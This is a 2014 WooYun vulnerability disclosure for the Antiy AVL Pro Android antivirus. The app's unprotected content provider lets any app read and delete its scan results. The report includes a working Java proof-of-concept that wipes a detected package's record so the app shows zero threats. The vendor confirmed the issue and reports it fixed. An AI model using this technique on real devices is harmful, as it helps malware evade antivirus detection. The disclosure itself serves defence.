当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056668

漏洞标题:Antiy(安天)漏洞可导致病毒免杀或误杀合法软件(控制杀软行为)

相关厂商:安天实验室

漏洞作者: 大和尚

提交时间:2014-04-12 14:47

修复时间:2014-07-11 14:47

公开时间:2014-07-11 14:47

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-12: 细节已通知厂商并且等待厂商处理中
2014-04-12: 厂商已经确认,细节仅向厂商公开
2014-04-15: 细节向第三方安全合作伙伴开放
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-11: 细节向公众公开

简要描述:

Antiy avl pro android版存在漏洞,若被病毒/木马利用可以逃过avl的扫描发现

详细说明:

avl pro在杀毒引擎查杀完手机之后,杀毒结果先保存在db中,之后通过provider读出扫描信息呈现给用户, 如有病毒则提示删除/清除等动作.
而该provider名为content://com.antiy.avlpro.MyProvider,却无权限暴露在外.
导致任意apk,无须申请任何特殊权限即可随意访问,读取/删除/插入db中的内容.
从而,若是恶意程序利用,则可以构造内容插入,以导致avl误判/删除正常合法apk;抑或实时(或短时间隔线程轮寻)db内容若见到自己package则予以删除,从而免杀.

漏洞证明:

poc:

package com.ieroot.android_providerdemo;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends Activity implements OnClickListener
{

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView tView = (TextView)findViewById(R.id.result);
tView.setText(getData());

// add onclick listener
Button show = (Button)findViewById(R.id.show);
show.setOnClickListener(this);
Button delete = (Button)findViewById(R.id.delete);
delete.setOnClickListener(this);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public String getData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
String resultString = "";
ContentResolver resolver = this.getContentResolver();
Cursor cursor = resolver.query(Uri.parse(avlUri), new String[]{"pkg_name","v_name"}, null, null, null);
while (cursor.moveToNext())
{
String pkg_name = cursor.getString(cursor.getColumnIndex("pkg_name"));
String v_name = cursor.getString(cursor.getColumnIndex("v_name"));
resultString += pkg_name + "\t" + v_name;
}
return resultString;
}
public void deleteData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
ContentResolver resolver = this.getContentResolver();
resolver.delete(Uri.parse(avlUri), "pkg_name = 'com.tf.thinkdroid.sg'", null);
Toast.makeText(this, "delete is clicked", 0);
}
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
if (arg0.getId() == R.id.show)
{
TextView tView = (TextView)findViewById(R.id.result);
tView.setText("show : " + "\n" + getData());

}
if (arg0.getId() == R.id.delete)
{
deleteData();
}
}
}


为证明清晰, 特意把各个步骤拆分,逐一截图讲解. 实际使用时,用户看不到任何这些过程. 只能承受结果: 病毒没有被发现或者合法程序被查杀.
截图:
该图中avl查杀一个risk. 务必记住名字.
图1,

avl1.jpg


该图中,POC程序通过暴露的provider读出db中的内容.
图2,

avl2.jpg


点击删除button, 删除db中的内容.
该图中,显示db中的内容已空.
图3,

avl3.jpg


回到avlpro的界面,显示0个威胁:
图4,

avl4.jpg


也就是说,POC程序在没有申请任何权限的情况下,成功修改了avl pro的判别结果.
发散思维~~

修复方案:

你懂得

版权声明:转载请注明来源 大和尚@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-12 15:18

厂商回复:

多谢,我们已经修复

最新状态:

暂无